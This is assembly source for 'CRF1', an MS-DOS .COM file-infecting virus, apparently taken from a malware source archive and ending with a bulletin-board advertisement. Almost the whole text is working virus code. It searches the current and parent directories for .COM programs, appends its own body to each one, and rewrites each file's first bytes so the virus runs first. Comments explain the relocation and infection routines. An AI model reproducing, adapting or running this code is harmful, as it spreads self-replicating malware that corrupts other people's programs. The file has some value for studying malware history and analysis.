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vxug-MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.crf.asm

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2021-01-12 23:38:47 +00:00
title "CRF1 virus. Born on the Fourth of July. Written by TBSI."
; assemble with Turbo ASM 2.x
page 60,80
code segment word public 'code'
assume cs:code,ds:code
org 100h
main proc;edure
; As referenced in this source listing, Top-Of-File represents location 100h in
; the current memory segment, which is where the virus code is loaded into mem.
; The word "program" refers to the infected programs code and "virus" refers to
; the virus's code. This information is included to clarify my use of the word
; "program" in the remarks throughout this listing.
; Since the virus (with the exception of "call skip" and "db 26") can be loaded
; anywhere in memory depending on the length of the infected program, I made it
; to where the BP register would be loaded with the displacement of the code in
; memory. This was done as follows:
; 1) a CALL instruction was issued. It places the TRUE return
; address onto the stack.
; 2) instead of returning to there, the value was popped off of
; the stack into the BP register
; 3) then, it subtracts the EXPECTED value of BP (the address of
; EOFMARK in the 1st-time copy) from BP to get the offset.
; 4) all references to memory locations were thereafter changed
; to refernces to EXPECTED memory locations + BP
; This fixed the problem.
tof: ;Top-Of-File
jmp short begin ;Skip over program
nop ;Reserve 3rd byte
EOFMARK: db 26 ;Disable DOS's TYPE
first_four: nop ;First run copy only!
address: int 20h ;First run copy only!
check: nop ;First run copy only!
begin: call nextline ;Push BP onto stack
nextline: pop bp ;BP=location of Skip
sub bp,offset nextline ;BP=offset from 1st run
mov byte ptr [bp+offset infected],0 ;Reset infection count
lea si,[bp+offset first_four] ;Original first 4 bytes
mov di,offset tof ;TOF never changes
mov cx,4 ;Lets copy 4 bytes
cld ;Read left-to-right
rep movsb ;Copy the 4 bytes
mov ah,1Ah ;Set DTA address ...
lea dx,[bp+offset DTA] ; ... to *our* DTA
int 21h ;Call DOS to set DTA
mov ah,4Eh ;Find First ASCIIZ
lea dx,[bp+offset filespec] ;DS:DX -} '*.COM',0
lea si,[bp+offset filename] ;Point to file
push dx ;Save DX
jmp short continue ;Continue...
return: mov ah,1ah ;Set DTA address ...
mov dx,80h ; ... to default DTA
int 21h ;Call DOS to set DTA
xor ax,ax ;AX= 0
mov bx,ax ;BX= 0
mov cx,ax ;CX= 0
mov dx,ax ;DX= 0
mov si,ax ;SI= 0
mov di,ax ;DI= 0
mov sp,0FFFEh ;SP= 0
mov bp,100h ;BP= 100h (RETurn addr)
push bp ; Put on stack
mov bp,ax ;BP= 0
ret ;JMP to 100h
nextfile: or bx,bx ;Did we open the file?
jz skipclose ;No, so don't close it
mov ah,3Eh ;Close file
int 21h ;Call DOS to close it
xor bx,bx ;Set BX back to 0
skipclose: mov ah,4Fh ;Find Next ASCIIZ
continue: pop dx ;Restore DX
push dx ;Re-save DX
xor cx,cx ;CX= 0
xor bx,bx
int 21h ;Find First/Next
jnc skipjmp
jmp NoneLeft ;Out of files
skipjmp: mov ax,3D02h ;open file
mov dx,si ;point to filespec
int 21h ;Call DOS to open file
jc nextfile ;Next file if error
mov bx,ax ;get the handle
mov ah,3Fh ;Read from file
mov cx,4 ;Read 4 bytes
lea dx,[bp+offset first_four] ;Read in the first 4
int 21h ;Call DOS to read
cmp byte ptr [bp+offset check],26 ;Already infected?
je nextfile ;Yep, try again ...
cmp byte ptr [bp+offset first_four],77 ;Mis-named .EXE?
je nextfile ;Yep, maybe next time!
mov ax,4202h ;LSeek to EOF
xor cx,cx ;CX= 0
xor dx,dx ;DX= 0
int 21h ;Call DOS to LSeek
cmp ax,0FD00h ;Longer than 63K?
ja nextfile ;Yep, try again...
mov [bp+offset addr],ax ;Save call location
mov ah,40h ;Write to file
mov cx,4 ;Write 4 bytes
lea dx,[bp+offset first_four] ;Point to buffer
int 21h ;Save the first 4 bytes
mov ah,40h ;Write to file
mov cx,offset eof-offset begin ;Length of target code
lea dx,[bp+offset begin] ;Point to virus start
int 21h ;Append the virus
mov ax,4200h ;LSeek to TOF
xor cx,cx ;CX= 0
xor dx,dx ;DX= 0
int 21h ;Call DOS to LSeek
mov ax,[bp+offset addr] ;Retrieve location
inc ax ;Adjust location
mov [bp+offset address],ax ;address to call
mov byte ptr [bp+offset first_four],0E9h ;JMP rel16 inst.
mov byte ptr [bp+offset check],26 ;EOFMARK
mov ah,40h ;Write to file
mov cx,4 ;Write 4 bytes
lea dx,[bp+offset first_four] ;4 bytes are at [DX]
int 21h ;Write to file
inc byte ptr [bp+offset infected] ;increment counter
jmp nextfile ;Any more?
NoneLeft: cmp byte ptr [bp+offset infected],2 ;At least 2 infected?
jae TheEnd ;The party's over!
mov di,100h ;DI= 100h
cmp word ptr [di],20CDh ;an INT 20h?
je TheEnd ;Don't go to prev. dir.
lea dx,[bp+offset prevdir] ;'..'
mov ah,3Bh ;Set current directory
int 21h ;CHDIR ..
jc TheEnd ;We're through!
mov ah,4Eh
jmp continue ;Start over in new dir
TheEnd: jmp return ;The party's over!
filespec: db '*.COM',0 ;File specification
prevdir: db '..',0 ;previous directory
; None of this information is included in the virus's code. It is only used
; during the search/infect routines and it is not necessary to preserve it
; in between calls to them.
eof:
DTA: db 21 dup (?) ;internal search's data
attribute db ? ;attribute
file_time db 2 dup (?) ;file's time stamp
file_date db 2 dup (?) ;file's date stamp
file_size db 4 dup (?) ;file's size
filename db 13 dup (?) ;filename
infected db ? ;infection count
addr dw ? ;Address
main endp;rocedure
code ends;egment
end main
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; This quality file was downloaded from
;
; E X T R E M E
; ------------+------------ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
; /|\ <20> <20>
; / | \ <20> Portland Metro All Text BBS <20>
; / | \ <20> <20>
; / | \ <20> 9600: 503-775-0374 <20>
; / | \ <20> SysOp: Thing One <20>
; / | \ <20> <20>
; / | \ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; d r e a m e s

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